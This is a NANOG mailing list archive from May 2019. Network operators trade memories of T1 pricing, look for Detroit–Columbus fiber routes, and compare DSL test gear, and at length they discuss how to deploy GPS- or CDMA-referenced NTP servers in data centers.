From large.hadron.collider at gmx.com Wed May 1 05:12:12 2019 From: large.hadron.collider at gmx.com (Large Hadron Collider) Date: Tue, 30 Apr 2019 22:12:12 -0700 Subject: looking for hostname router identifier validation In-Reply-To: <7af8c5ac-53e0-5191-7e14-4f516f63f4ac@shout.net> References: <20190429025801.GA41159@sorcerer.cms.waikato.ac.nz> <31470.1556583674@turing-police> <7af8c5ac-53e0-5191-7e14-4f516f63f4ac@shout.net> Message-ID: How much did it cost? :-) On 19-04-30 08 h 38, Bryan Holloway wrote: > > On 4/29/19 7:21 PM, Valdis Klētnieks wrote: >> On Mon, 29 Apr 2019 16:16:06 -0500, Bryan Holloway said: >> >>> I still see references to UUNet in some reverse PTRs. >>> >>> So, uh, yeah. >> >> I wonder what year we'll get to a point where less than half of NANOG's >> membership was around when UUNet was. We're probably there already. >> And likely coming up on when less than half the people know what it >> was, other than myth and legend.... >> > > Bought my first T-1 from those guys ... don't even ask how much it cost. > From jason+nanog at lixfeld.ca Wed May 1 13:42:56 2019 From: jason+nanog at lixfeld.ca (Jason Lixfeld) Date: Wed, 1 May 2019 09:42:56 -0400 Subject: Optical routes from MI-OH regionals Message-ID: <0FDDCF7E-D42B-4EBD-8407-E7AC3A096279@lixfeld.ca> Hi, Looking for someone who might have routes (lit or dark) from Detroit, MI to Columbus, OH preferably using a straight’ish shot from Toledo to Columbus. Most routes I’ve seen from the larger providers tend to run Toledo - Lima - Columbus or Toledo - Cleveland - Columbus, so I’m hoping a smaller regional player may have something more direct. Thanks in advance! From nanog at ics-il.net Wed May 1 14:28:34 2019 From: nanog at ics-il.net (Mike Hammett) Date: Wed, 1 May 2019 09:28:34 -0500 (CDT) Subject: Optical routes from MI-OH regionals In-Reply-To: <0FDDCF7E-D42B-4EBD-8407-E7AC3A096279@lixfeld.ca> References: <0FDDCF7E-D42B-4EBD-8407-E7AC3A096279@lixfeld.ca> Message-ID: <914497795.1567.1556720903643.JavaMail.mhammett@ThunderFuck> https://ifnetwork.biz/regional-map ----- Mike Hammett Intelligent Computing Solutions http://www.ics-il.com Midwest-IX http://www.midwest-ix.com ----- Original Message ----- From: "Jason Lixfeld" To: "NANOG" Sent: Wednesday, May 1, 2019 8:42:56 AM Subject: Optical routes from MI-OH regionals Hi, Looking for someone who might have routes (lit or dark) from Detroit, MI to Columbus, OH preferably using a straight’ish shot from Toledo to Columbus. Most routes I’ve seen from the larger providers tend to run Toledo - Lima - Columbus or Toledo - Cleveland - Columbus, so I’m hoping a smaller regional player may have something more direct. Thanks in advance! -------------- next part -------------- An HTML attachment was scrubbed... URL: From nanog at ics-il.net Wed May 1 15:50:02 2019 From: nanog at ics-il.net (Mike Hammett) Date: Wed, 1 May 2019 10:50:02 -0500 (CDT) Subject: DSL\POTS Testing Equipment In-Reply-To: <674589035.1750.1556725439442.JavaMail.mhammett@ThunderFuck> Message-ID: <389351166.1764.1556725800066.JavaMail.mhammett@ThunderFuck> We've got an EXFO Colt-250 and an EXFO CableSHARK P3. They're 10 - 15 years old, but as far as I know they work. Practically, what am I missing out on by not getting a newer tester? I'd like the CableSHARK's features in a smaller unit, but it seems like we're looking at a minimum of $2k to get something that does that. ----- Mike Hammett Intelligent Computing Solutions http://www.ics-il.com Midwest-IX http://www.midwest-ix.com -------------- next part -------------- An HTML attachment was scrubbed... URL: From valdis.kletnieks at vt.edu Wed May 1 16:07:45 2019 From: valdis.kletnieks at vt.edu (Valdis Kl=?utf-8?Q?=c4=93?=tnieks) Date: Wed, 01 May 2019 12:07:45 -0400 Subject: looking for hostname router identifier validation In-Reply-To: References: <20190429025801.GA41159@sorcerer.cms.waikato.ac.nz> <31470.1556583674@turing-police> <7af8c5ac-53e0-5191-7e14-4f516f63f4ac@shout.net> Message-ID: <1841.1556726865@turing-police> On Tue, 30 Apr 2019 22:12:12 -0700, Large Hadron Collider said: > How much did it cost? :-) I'm willing to guess US$6digits/mo. 5 digits if you qualified for the quantity discount. :) -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 832 bytes Desc: not available URL: From list-nanog2 at dragon.net Wed May 1 16:31:36 2019 From: list-nanog2 at dragon.net (Paul Ebersman) Date: Wed, 01 May 2019 10:31:36 -0600 Subject: looking for hostname router identifier validation In-Reply-To: <1841.1556726865@turing-police> References: <20190429025801.GA41159@sorcerer.cms.waikato.ac.nz> <31470.1556583674@turing-police> <7af8c5ac-53e0-5191-7e14-4f516f63f4ac@shout.net> <1841.1556726865@turing-police> Message-ID: <20190501163136.5034B12D701D@fafnir.remote.dragon.net> lhc> How much did it cost? :-) valdis> I'm willing to guess US$6digits/mo. 5 digits if you qualified for valdis> the quantity discount. :) We used to charge $2500 install and $2500/month for a T1 with agreement to not share or resell. It was something like double that if you wanted to resell? We sold a lot more 56k circuits. I'm going by memory here, which isn't as reliable as it once was. :) From lists at snowpondtech.com Wed May 1 17:09:07 2019 From: lists at snowpondtech.com (Snow Pond Tech Group lists) Date: Wed, 1 May 2019 17:09:07 +0000 Subject: DSL\POTS Testing Equipment In-Reply-To: <389351166.1764.1556725800066.JavaMail.mhammett@ThunderFuck> References: <674589035.1750.1556725439442.JavaMail.mhammett@ThunderFuck>, <389351166.1764.1556725800066.JavaMail.mhammett@ThunderFuck> Message-ID: VeEx VePAL isn't a bad unit. Touchscreen with flip screen protector, fairly rugged, rechargable battery, test results can be saved to USB I believe, fairly quick to boot up. I have the ADSL2+ version, but I think they make a VDSL version. It has no VOM functions though, so I separately use a Sidekick T&N analog test unit. I got the VePAL used on eBay, even though the unit was practically new. I'm told the JDSU units are pretty nice and those can include VOM functions so that might eliminate the Sidekick. They have interchangeable modules so that might be worth the investment, so you can test copper, fiber, and coax stuff you need it. When I did contract work for a CLEC, I liked to use the same test equipment as the LEC. So their technicians couldn't point any fingers and proof of circuit issues was in front of their face. Regards, Joshua Zukerman Snow Pond Technology Group Inc. Office 207-692-2415 ________________________________ From: NANOG on behalf of Mike Hammett Sent: Wednesday, May 1, 2019 11:50:02 AM To: NANOG Subject: DSL\POTS Testing Equipment We've got an EXFO Colt-250 and an EXFO CableSHARK P3. They're 10 - 15 years old, but as far as I know they work. Practically, what am I missing out on by not getting a newer tester? I'd like the CableSHARK's features in a smaller unit, but it seems like we're looking at a minimum of $2k to get something that does that. ----- Mike Hammett Intelligent Computing Solutions http://www.ics-il.com Midwest-IX http://www.midwest-ix.com -------------- next part -------------- An HTML attachment was scrubbed... URL: From mehmet at akcin.net Wed May 1 19:22:57 2019 From: mehmet at akcin.net (Mehmet Akcin) Date: Wed, 1 May 2019 15:22:57 -0400 Subject: NTP question Message-ID: hey there Nanog, I am trying to buy a GPS based NTP server like this one https://timemachinescorp.com/product/gps-time-server-tm1000a/ but I will be placing this inside a data center, do these need an actual view of a sky to be able to get signal or will they work fine inside a data center building? if you have any other hardware requirements to be able to provide stable time service for hundreds of customers, please let me know. mehmet -------------- next part -------------- An HTML attachment was scrubbed... URL: From job at instituut.net Wed May 1 19:29:36 2019 From: job at instituut.net (Job Snijders) Date: Wed, 1 May 2019 19:29:36 +0000 Subject: NTP question In-Reply-To: References: Message-ID: <20190501192935.GD89407@vurt.meerval.net> Dear Mehmet, On Wed, May 01, 2019 at 03:22:57PM -0400, Mehmet Akcin wrote: > I am trying to buy a GPS based NTP server like this one > > https://timemachinescorp.com/product/gps-time-server-tm1000a/ > > but I will be placing this inside a data center, do these need an > actual view of a sky to be able to get signal or will they work fine > inside a data center building? This will *not* work if the antenna is placed *inside* the datacenter. The trick is to order a spot on the roof of the datacenter, have the facility staff place the antenna there, and run a cable to the NTP server in your rack. It'll depend on the facility what the MRC / NRC is for this service will be. Kind regards, Job From Bryan at bryanfields.net Wed May 1 19:35:59 2019 From: Bryan at bryanfields.net (Bryan Fields) Date: Wed, 1 May 2019 15:35:59 -0400 Subject: NTP question In-Reply-To: References: Message-ID: On 5/1/19 3:22 PM, Mehmet Akcin wrote: > hey there Nanog, > > I am trying to buy a GPS based NTP server like this one > > https://timemachinescorp.com/product/gps-time-server-tm1000a/ > > but I will be placing this inside a data center, do these need an actual > view of a sky to be able to get signal or will they work fine inside a data > center building? You will need a clear view to the sky for at least the antenna. Most GPS "antennas" are an antenna and Low Noise Amplifier (LNA) which is powered via 5-12v on the coax. This sets the noise figure and gain of the system, so you can run 50-100' of RG6 coax if needed. You'll need a F to sma adapter for this unit it looks like. Don't worry about the impedance mismatch, 50 to 75 ohm is not horrid, the RG-174 thin cable has more loss in 10' than 100' of RG6. You will not want to use the low gain puck antenna, but rather get a proper grounded/mounted/weatherproofed antenna such as the ubiquitous 26 dBi Quadrifilar Helix antenna. https://www.ebay.com/itm/192899151132 -- Bryan Fields 727-409-1194 - Voice http://bryanfields.net From mehmet at akcin.net Wed May 1 19:43:55 2019 From: mehmet at akcin.net (Mehmet Akcin) Date: Wed, 1 May 2019 15:43:55 -0400 Subject: NTP question In-Reply-To: References: Message-ID: thank you guys, looks like GPS based NTP is the way to go. On Wed, May 1, 2019 at 3:36 PM Bryan Fields wrote: > On 5/1/19 3:22 PM, Mehmet Akcin wrote: > > hey there Nanog, > > > > I am trying to buy a GPS based NTP server like this one > > > > https://timemachinescorp.com/product/gps-time-server-tm1000a/ > > > > but I will be placing this inside a data center, do these need an actual > > view of a sky to be able to get signal or will they work fine inside a > data > > center building? > > You will need a clear view to the sky for at least the antenna. > > Most GPS "antennas" are an antenna and Low Noise Amplifier (LNA) which is > powered via 5-12v on the coax. This sets the noise figure and gain of the > system, so you can run 50-100' of RG6 coax if needed. You'll need a F to > sma > adapter for this unit it looks like. Don't worry about the impedance > mismatch, 50 to 75 ohm is not horrid, the RG-174 thin cable has more loss > in > 10' than 100' of RG6. > > You will not want to use the low gain puck antenna, but rather get a proper > grounded/mounted/weatherproofed antenna such as the ubiquitous 26 dBi > Quadrifilar Helix antenna. https://www.ebay.com/itm/192899151132 > > > > -- > Bryan Fields > > 727-409-1194 - Voice > http://bryanfields.net > -------------- next part -------------- An HTML attachment was scrubbed... URL: From bruns at 2mbit.com Wed May 1 20:01:44 2019 From: bruns at 2mbit.com (Brielle Bruns) Date: Wed, 1 May 2019 14:01:44 -0600 Subject: NTP question In-Reply-To: References: Message-ID: If you can't get a good spot for an antenna, you could be on the lookout for a CDMA NTP clock. https://endruntechnologies.com/products/ntp-time-servers We've got one as a backup to our SyncServer S200. Doesn't need an outdoor antenna as long as you can get a cellular signal in the DC. EndRun's are Linux based and still getting software updates. As an added bonus, they also do IPv6. Of course, you're putting a lot of trust into the wireless companies doing this, but its a nice alternative. On 5/1/2019 1:43 PM, Mehmet Akcin wrote: > thank you guys, looks like GPS based NTP is the way to go. > > On Wed, May 1, 2019 at 3:36 PM Bryan Fields > wrote: > > On 5/1/19 3:22 PM, Mehmet Akcin wrote: > > hey there Nanog, > > > > I am trying to buy a GPS based NTP server like this one > > > > https://timemachinescorp.com/product/gps-time-server-tm1000a/ > > > > but I will be placing this inside a data center, do these need an > actual > > view of a sky to be able to get signal or will they work fine > inside a data > > center building? > > You will need a clear view to the sky for at least the antenna. > > Most GPS "antennas" are an antenna and Low Noise Amplifier (LNA) > which is > powered via 5-12v on the coax.  This sets the noise figure and gain > of the > system, so you can run 50-100' of RG6 coax if needed.  You'll need a > F to sma > adapter for this unit it looks like.  Don't worry about the impedance > mismatch, 50 to 75 ohm is not horrid, the RG-174 thin cable has more > loss in > 10' than 100' of RG6. > > You will not want to use the low gain puck antenna, but rather get a > proper > grounded/mounted/weatherproofed antenna such as the ubiquitous 26 dBi > Quadrifilar Helix antenna. https://www.ebay.com/itm/192899151132 > > > > -- > Bryan Fields > > 727-409-1194 - Voice > http://bryanfields.net > -- Brielle Bruns The Summit Open Source Development Group http://www.sosdg.org / http://www.ahbl.org From andreas at naund.org Wed May 1 20:50:33 2019 From: andreas at naund.org (Andreas Ott) Date: Wed, 1 May 2019 13:50:33 -0700 Subject: NTP question In-Reply-To: ; from bruns@2mbit.com on Wed, May 01, 2019 at 02:01:44PM -0600 References: Message-ID: <20190501135033.C18839@naund.org> Hi, On Wed, May 01, 2019 at 02:01:44PM -0600, Brielle Bruns wrote: > If you can't get a good spot for an antenna, you could be on the lookout > for a CDMA NTP clock. CDMA service is about to be retired in several places, please check in your area before you install a "new" CDMA based time server. C.f. https://www.verizonwireless.com/support/knowledge-base-218813/ I looked into the same thing and decided not to go with CDMA. A simple check inside a (datacenter) building is to use one of the GPS smart phone apps that display you number of Sats and signal strength then walk around where you would place the NTP server appliance. Beware of server CPUs and memory making RF noise in the same frequency spectrum of 1.2 - 2 GHz, completely blanking out any GPS indoors. I concur that installing an amplified roof-top antenna and running coax to your receiver is the best option. -andreas -- Andreas Ott K6OTT +1.408.431.8727 andreas at naund.org From nanog at ics-il.net Wed May 1 20:53:22 2019 From: nanog at ics-il.net (Mike Hammett) Date: Wed, 1 May 2019 15:53:22 -0500 (CDT) Subject: NTP question In-Reply-To: <20190501135033.C18839@naund.org> References: <20190501135033.C18839@naund.org> Message-ID: <2063860657.2223.1556744000010.JavaMail.mhammett@ThunderFuck> I had inquired with Frontier about installing a GPS antenna and they said they don't allow antennas of any kind attached to the building anymore. I didn't pursue that any further. I didn't think to check what the signal strength was inside. ----- Mike Hammett Intelligent Computing Solutions http://www.ics-il.com Midwest-IX http://www.midwest-ix.com ----- Original Message ----- From: "Andreas Ott" To: nanog at nanog.org Sent: Wednesday, May 1, 2019 3:50:33 PM Subject: Re: NTP question Hi, On Wed, May 01, 2019 at 02:01:44PM -0600, Brielle Bruns wrote: > If you can't get a good spot for an antenna, you could be on the lookout > for a CDMA NTP clock. CDMA service is about to be retired in several places, please check in your area before you install a "new" CDMA based time server. C.f. https://www.verizonwireless.com/support/knowledge-base-218813/ I looked into the same thing and decided not to go with CDMA. A simple check inside a (datacenter) building is to use one of the GPS smart phone apps that display you number of Sats and signal strength then walk around where you would place the NTP server appliance. Beware of server CPUs and memory making RF noise in the same frequency spectrum of 1.2 - 2 GHz, completely blanking out any GPS indoors. I concur that installing an amplified roof-top antenna and running coax to your receiver is the best option. -andreas -- Andreas Ott K6OTT +1.408.431.8727 andreas at naund.org -------------- next part -------------- An HTML attachment was scrubbed... URL: From mel at beckman.org Wed May 1 20:55:31 2019 From: mel at beckman.org (Mel Beckman) Date: Wed, 1 May 2019 20:55:31 +0000 Subject: NTP question In-Reply-To: References: , Message-ID: <2DD31B0B-F50D-40F7-AFE1-06919BC7D92B@beckman.org> Mehmet, I use the TimeMachines unit a lot. Usually we deploy these near any outside window, typically putting the box in the ceiling and the running the GPS antenna on its 20’ cable (or whatever it is) down to the window glass. Test different windows first before committing. Then use any of the may passive POE injectors to inject the TM’s power brick into the Cat5 and strip it out on the other end, over a little power plug jumper that plugs into the TM box. Works a treat! -mel beckman On May 1, 2019, at 12:44 PM, Mehmet Akcin > wrote: thank you guys, looks like GPS based NTP is the way to go. On Wed, May 1, 2019 at 3:36 PM Bryan Fields > wrote: On 5/1/19 3:22 PM, Mehmet Akcin wrote: > hey there Nanog, > > I am trying to buy a GPS based NTP server like this one > > https://timemachinescorp.com/product/gps-time-server-tm1000a/ > > but I will be placing this inside a data center, do these need an actual > view of a sky to be able to get signal or will they work fine inside a data > center building? You will need a clear view to the sky for at least the antenna. Most GPS "antennas" are an antenna and Low Noise Amplifier (LNA) which is powered via 5-12v on the coax. This sets the noise figure and gain of the system, so you can run 50-100' of RG6 coax if needed. You'll need a F to sma adapter for this unit it looks like. Don't worry about the impedance mismatch, 50 to 75 ohm is not horrid, the RG-174 thin cable has more loss in 10' than 100' of RG6. You will not want to use the low gain puck antenna, but rather get a proper grounded/mounted/weatherproofed antenna such as the ubiquitous 26 dBi Quadrifilar Helix antenna. https://www.ebay.com/itm/192899151132 -- Bryan Fields 727-409-1194 - Voice http://bryanfields.net -------------- next part -------------- An HTML attachment was scrubbed... URL: From bruns at 2mbit.com Wed May 1 20:58:57 2019 From: bruns at 2mbit.com (Brielle Bruns) Date: Wed, 1 May 2019 14:58:57 -0600 Subject: NTP question In-Reply-To: <20190501135033.C18839@naund.org> References: <20190501135033.C18839@naund.org> Message-ID: On 5/1/2019 2:50 PM, Andreas Ott wrote: >> If you can't get a good spot for an antenna, you could be on the lookout >> for a CDMA NTP clock. > CDMA service is about to be retired in several places, please check > in your area before you install a "new" CDMA based time server. > C.f.https://www.verizonwireless.com/support/knowledge-base-218813/ > > I looked into the same thing and decided not to go with CDMA. There's actually a few other CDMA networks in our area (Boise) besides Verizon, so it wouldn't hurt to look. I seem to remember Sprint is planning to go to 2021? There also appears to be a few smaller independent CDMA networks around as well. -- Brielle Bruns The Summit Open Source Development Group http://www.sosdg.org / http://www.ahbl.org From nanog at ics-il.net Wed May 1 21:05:03 2019 From: nanog at ics-il.net (Mike Hammett) Date: Wed, 1 May 2019 16:05:03 -0500 (CDT) Subject: NTP question In-Reply-To: References: <20190501135033.C18839@naund.org> Message-ID: <1665738194.2237.1556744702880.JavaMail.mhammett@ThunderFuck> I looked before at who had spectrum allocations in the frequencies my boxes supported. I then used Cell Mapper to figure out what technology was deployed on that frequency. IIRC, both US Cellular and Verizon had basic CDMA running in my area on those channels. Sprint was running LTE and 1x Advanced (or something like that), so probably wouldn't have worked out. If Verizon is dropping theirs, then depending on only one company seems a bit unwise.... which means I gotta find some kind of solution by then. *sigh* ----- Mike Hammett Intelligent Computing Solutions http://www.ics-il.com Midwest-IX http://www.midwest-ix.com ----- Original Message ----- From: "Brielle Bruns" To: nanog at nanog.org Sent: Wednesday, May 1, 2019 3:58:57 PM Subject: Re: NTP question On 5/1/2019 2:50 PM, Andreas Ott wrote: >> If you can't get a good spot for an antenna, you could be on the lookout >> for a CDMA NTP clock. > CDMA service is about to be retired in several places, please check > in your area before you install a "new" CDMA based time server. > C.f.https://www.verizonwireless.com/support/knowledge-base-218813/ > > I looked into the same thing and decided not to go with CDMA. There's actually a few other CDMA networks in our area (Boise) besides Verizon, so it wouldn't hurt to look. I seem to remember Sprint is planning to go to 2021? There also appears to be a few smaller independent CDMA networks around as well. -- Brielle Bruns The Summit Open Source Development Group http://www.sosdg.org / http://www.ahbl.org -------------- next part -------------- An HTML attachment was scrubbed... URL: From bruns at 2mbit.com Wed May 1 21:11:08 2019 From: bruns at 2mbit.com (Brielle Bruns) Date: Wed, 1 May 2019 15:11:08 -0600 Subject: NTP question In-Reply-To: <1665738194.2237.1556744702880.JavaMail.mhammett@ThunderFuck> References: <20190501135033.C18839@naund.org> <1665738194.2237.1556744702880.JavaMail.mhammett@ThunderFuck> Message-ID: Kinda sucks all the good 'backup' methods of time keeping are dwindling. I've got a WWVB clock as well that I'd love to get hooked into my main NTP server, but I worry they're going to finally kill that off in the next year or so. LORAN C clocks still have potential to work well too... High accuracy time keeping is a fun hobby. :) On 5/1/2019 3:05 PM, Mike Hammett wrote: > I looked before at who had spectrum allocations in the frequencies my > boxes supported. I then used Cell Mapper to figure out what technology > was deployed on that frequency. IIRC, both US Cellular and Verizon had > basic CDMA running in my area on those channels. Sprint was running LTE > and 1x Advanced (or something like that), so probably wouldn't have > worked out. If Verizon is dropping theirs, then depending on only one > company seems a bit unwise....  which means I gotta find some kind of > solution by then. *sigh* > > > > ----- > Mike Hammett > Intelligent Computing Solutions > http://www.ics-il.com > > Midwest-IX > http://www.midwest-ix.com > > ------------------------------------------------------------------------ > *From: *"Brielle Bruns" > *To: *nanog at nanog.org > *Sent: *Wednesday, May 1, 2019 3:58:57 PM > *Subject: *Re: NTP question > > On 5/1/2019 2:50 PM, Andreas Ott wrote: > >> If you can't get a good spot for an antenna, you could be on the lookout > >> for a CDMA NTP clock. > > CDMA service is about to be retired in several places, please check > > in your area before you install a "new" CDMA based time server. > > C.f.https://www.verizonwireless.com/support/knowledge-base-218813/ > > > > I looked into the same thing and decided not to go with CDMA. > > There's actually a few other CDMA networks in our area (Boise) besides > Verizon, so it wouldn't hurt to look.  I seem to remember Sprint is > planning to go to 2021?  There also appears to be a few smaller > independent CDMA networks around as well. > > -- > Brielle Bruns > The Summit Open Source Development Group > http://www.sosdg.org    /     http://www.ahbl.org > -- Brielle Bruns The Summit Open Source Development Group http://www.sosdg.org / http://www.ahbl.org From stenn at nwtime.org Wed May 1 21:35:58 2019 From: stenn at nwtime.org (Harlan Stenn) Date: Wed, 1 May 2019 14:35:58 -0700 Subject: NTP question In-Reply-To: References: <20190501135033.C18839@naund.org> <1665738194.2237.1556744702880.JavaMail.mhammett@ThunderFuck> Message-ID: So I gotta ask, just as a reality check: - Why do folks want to have one or more NTP server masters that have at least 1 refclock on them in a data center, instead of having their data center NTP server masters that only get time over the internet? - What % of data center operators provide time servers in their data centers for their tenants (or for the general public)? -- Harlan Stenn http://networktimefoundation.org - be a member! From rubensk at gmail.com Wed May 1 21:52:01 2019 From: rubensk at gmail.com (Rubens Kuhl) Date: Wed, 1 May 2019 18:52:01 -0300 Subject: NTP question In-Reply-To: References: Message-ID: Perhaps using a rubidium source instead of GPS ? The actual time can be obtained thru NTP, all you actually need is a precision source to keep time accurate thereafter. Rubens On Wed, May 1, 2019 at 4:24 PM Mehmet Akcin wrote: > hey there Nanog, > > I am trying to buy a GPS based NTP server like this one > > https://timemachinescorp.com/product/gps-time-server-tm1000a/ > > but I will be placing this inside a data center, do these need an actual > view of a sky to be able to get signal or will they work fine inside a data > center building? if you have any other hardware requirements to be able to > provide stable time service for hundreds of customers, please let me know. > > mehmet > > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From andreas at naund.org Wed May 1 21:59:39 2019 From: andreas at naund.org (Andreas Ott) Date: Wed, 1 May 2019 14:59:39 -0700 Subject: NTP question In-Reply-To: ; from stenn@nwtime.org on Wed, May 01, 2019 at 02:35:58PM -0700 References: <20190501135033.C18839@naund.org> <1665738194.2237.1556744702880.JavaMail.mhammett@ThunderFuck> Message-ID: <20190501145939.E18839@naund.org> On Wed, May 01, 2019 at 02:35:58PM -0700, Harlan Stenn wrote: > - Why do folks want to have one or more NTP server masters that have at > least 1 refclock on them in a data center, instead of having their data > center NTP server masters that only get time over the internet? I had that discussion before with the QSA for a compliance audit, pointing to requirement "10.4.3 Time settings are received from industry-accepted time sources" and "verify that the time server(s) accept time updates from specific, industry-accepted external sources (to prevent a malicious individual from changing the clock)" in the PCI-DSS document. He non-jokingly suggested "why don't you use pool.ntp.org?", not really realizing how many servers are in fact just someone's PC behind a cable modem in their home, which negated the "do I trust the time I am receiving?". My immediate answer was "we could use NIST servers", but the easiest way out of this is "we operate our own NTP appliance with a GPS receiver" and provide that as evidence. Don't get me wrong, I support pool.ntp.org by operating and contributing servers to it, but it is not deemed good enough if you need traceability of your NTP time source(s), even though the pool will only admit members above a certain quality threshold. > - What % of data center operators provide time servers in their data > centers for their tenants (or for the general public)? My $employer does that in our datacenters and points of presence for our customers. -andreas -- Andreas Ott K6OTT +1.408.431.8727 andreas at naund.org From christoffer at netravnen.de Wed May 1 22:06:38 2019 From: christoffer at netravnen.de (Hansen, Christoffer) Date: Thu, 2 May 2019 00:06:38 +0200 Subject: AT&T contact In-Reply-To: References: <20b07bf4-bff3-07bb-8f0c-ddc72d538ea6@netravnen.de> Message-ID: <65821aed-56d1-85cf-ccc4-47d60dcb49be@netravnen.de> On 30/04/2019 23:50, Mehmet Akcin wrote: > 7018 Looking at https://peeringdb.com/net/674 o Raj K. o Bryan G. is listed as contact 'Role' => 'Policy' (same role as the peering@). Have you mayhaps tried contacting those 2 people, yet? (the roundabout way could be contacting the listed 'Role' => 'NOC' contacts from PDB) -- have you enabled IPv6 on something today...? Christoffer -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 228 bytes Desc: OpenPGP digital signature URL: From rgolodner at infratection.com Wed May 1 22:12:18 2019 From: rgolodner at infratection.com (Richard) Date: Wed, 1 May 2019 17:12:18 -0500 Subject: NTP via GPS Message-ID:     I found this article very helpful as I knew very little. I was smarter for reading it though it may be to basic for many:     https://timetoolsltd.com/gps/gps-ntp-server/     Richard -------------- next part -------------- An HTML attachment was scrubbed... URL: From stenn at nwtime.org Wed May 1 22:35:54 2019 From: stenn at nwtime.org (Harlan Stenn) Date: Wed, 1 May 2019 15:35:54 -0700 Subject: NTP question In-Reply-To: <20190501145939.E18839@naund.org> References: <20190501135033.C18839@naund.org> <1665738194.2237.1556744702880.JavaMail.mhammett@ThunderFuck> <20190501145939.E18839@naund.org> Message-ID: <467f879d-efe6-3fae-05c5-36c28b56b68c@nwtime.org> On 5/1/19 2:59 PM, Andreas Ott wrote: > On Wed, May 01, 2019 at 02:35:58PM -0700, Harlan Stenn wrote: >> - Why do folks want to have one or more NTP server masters that have at >> least 1 refclock on them in a data center, instead of having their data >> center NTP server masters that only get time over the internet? > > I had that discussion before with the QSA for a compliance audit, pointing > to requirement "10.4.3 Time settings are received from industry-accepted > time sources" and "verify that the time server(s) accept time updates from > specific, industry-accepted external sources (to prevent a malicious > individual from changing the clock)" in the PCI-DSS document. He > non-jokingly suggested "why don't you use pool.ntp.org?", not really > realizing how many servers are in fact just someone's PC behind a cable > modem in their home, which negated the "do I trust the time I am > receiving?". My immediate answer was "we could use NIST servers", > but the easiest way out of this is "we operate our own NTP appliance > with a GPS receiver" and provide that as evidence. > > Don't get me wrong, I support pool.ntp.org by operating and contributing > servers to it, but it is not deemed good enough if you need traceability > of your NTP time source(s), even though the pool will only admit members > above a certain quality threshold. I have no immediate agenda here. My sole purpose is to get information about this, as I mostly work with people who a) believe accurate time is important, and b) at least have an appreciation for how unexpectedly difficult it is to synchronize time in a predictable and stable way across a large population of systems in a diverse set of environments. In my experience, people who don't fall in to either of those categories are pretty well invested in their opinions. >> - What % of data center operators provide time servers in their data >> centers for their tenants (or for the general public)? > > My $employer does that in our datacenters and points of presence for > our customers. Glad to hear it! > -andreas > -- Harlan Stenn http://networktimefoundation.org - be a member! From nanog at ics-il.net Wed May 1 22:39:01 2019 From: nanog at ics-il.net (Mike Hammett) Date: Wed, 1 May 2019 17:39:01 -0500 (CDT) Subject: NTP question In-Reply-To: References: <20190501135033.C18839@naund.org> <1665738194.2237.1556744702880.JavaMail.mhammett@ThunderFuck> Message-ID: <1912786227.2262.1556750341202.JavaMail.mhammett@ThunderFuck> Accurate timing is also often required for telco gear. ----- Mike Hammett Intelligent Computing Solutions http://www.ics-il.com Midwest-IX http://www.midwest-ix.com ----- Original Message ----- From: "Harlan Stenn" To: nanog at nanog.org Sent: Wednesday, May 1, 2019 4:35:58 PM Subject: Re: NTP question So I gotta ask, just as a reality check: - Why do folks want to have one or more NTP server masters that have at least 1 refclock on them in a data center, instead of having their data center NTP server masters that only get time over the internet? - What % of data center operators provide time servers in their data centers for their tenants (or for the general public)? -- Harlan Stenn http://networktimefoundation.org - be a member! -------------- next part -------------- An HTML attachment was scrubbed... URL: From alejandroacostaalamo at gmail.com Wed May 1 22:41:36 2019 From: alejandroacostaalamo at gmail.com (Alejandro Acosta) Date: Wed, 1 May 2019 18:41:36 -0400 Subject: NTP question In-Reply-To: References: Message-ID: Hello,   As other have commented before, it looks you need an outdoor antenna, however, reading the specs it says: "The built in high sensitivity GPS receiver is able to lock multiple satellites from within multiple buildings or from a window location*, eliminating the requirement that an outdoor antenna be installed*." Weird. Alejandro, El 1/5/19 a las 15:22, Mehmet Akcin escribió: > hey there Nanog, > > I am trying to buy a GPS based NTP server like this one  > > https://timemachinescorp.com/product/gps-time-server-tm1000a/ > > but I will be placing this inside a data center, do these need an > actual view of a sky to be able to get signal or will they work fine > inside a data center building? if you have any other hardware > requirements to be able to provide stable time service for hundreds of > customers, please let me know. > > mehmet > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From lists.nanog at monmotha.net Wed May 1 22:44:18 2019 From: lists.nanog at monmotha.net (Brandon Martin) Date: Wed, 1 May 2019 18:44:18 -0400 Subject: NTP question In-Reply-To: References: <20190501135033.C18839@naund.org> <1665738194.2237.1556744702880.JavaMail.mhammett@ThunderFuck> Message-ID: On 5/1/19 5:35 PM, Harlan Stenn wrote: > - Why do folks want to have one or more NTP server masters that have at > least 1 refclock on them in a data center, instead of having their data > center NTP server masters that only get time over the internet? It can be extremely useful to have known-good timestamps to within several milliseconds, even in the event of a connectivity outage, when trying to figure out what went wrong from log entries spanning multiple systems and sites. Think about what might happen if you lost time sync as a result of the incident causing said connectivity outage. Depending on your time sources available, you might see rapid drift or, worst case, lose your time reference entirely as a result of equipment restarts, etc. GPS, as long as you have a good view of the sky, provides extremely accurate "lights out" time info, both absolute and relative, from a single source with no (mostly) strings attached for that purpose. -- Brandon Martin From james.cutler at consultant.com Wed May 1 22:47:52 2019 From: james.cutler at consultant.com (James R Cutler) Date: Wed, 1 May 2019 18:47:52 -0400 Subject: NTP Question Message-ID: <8F92D58B-FEF6-4740-994A-633A47B79538@consultant.com> On Wed, May 01, 2019 at 02:35:58PM -0700, Harlan Stenn wrote: > - Why do folks want to have one or more NTP server masters that have at > least 1 refclock on them in a data center, instead of having their data > center NTP server masters that only get time over the internet? Answers to that include: Keeping the Auditors happy Knowing that “everyone does it” - the vendor told them so Bragging rights (expensive hardware) Being unbothered by fighting with facilities for building penetrations and antenna mounts Misunderstanding the beauty and economy Dave Mills marvelous algorithms for consistent time based on multiple sources, even those connected via internet Unwillingness or inability to leverage other local resources capacity to run ntpd with minimal impact in order to have a good constellation of local NTP servers Willingness to farm out time service without doing a deep dive into why and how, just leaving the design to the appliance vendors This covers most of what I have encountered in providing enterprise time services for $dayjob+clients. I probably left out some significant points, but it has been a few years... -------------- next part -------------- An HTML attachment was scrubbed... URL: From chk at pobox.com Wed May 1 23:03:54 2019 From: chk at pobox.com (Harald Koch) Date: Wed, 01 May 2019 19:03:54 -0400 Subject: NTP question In-Reply-To: References: <20190501135033.C18839@naund.org> 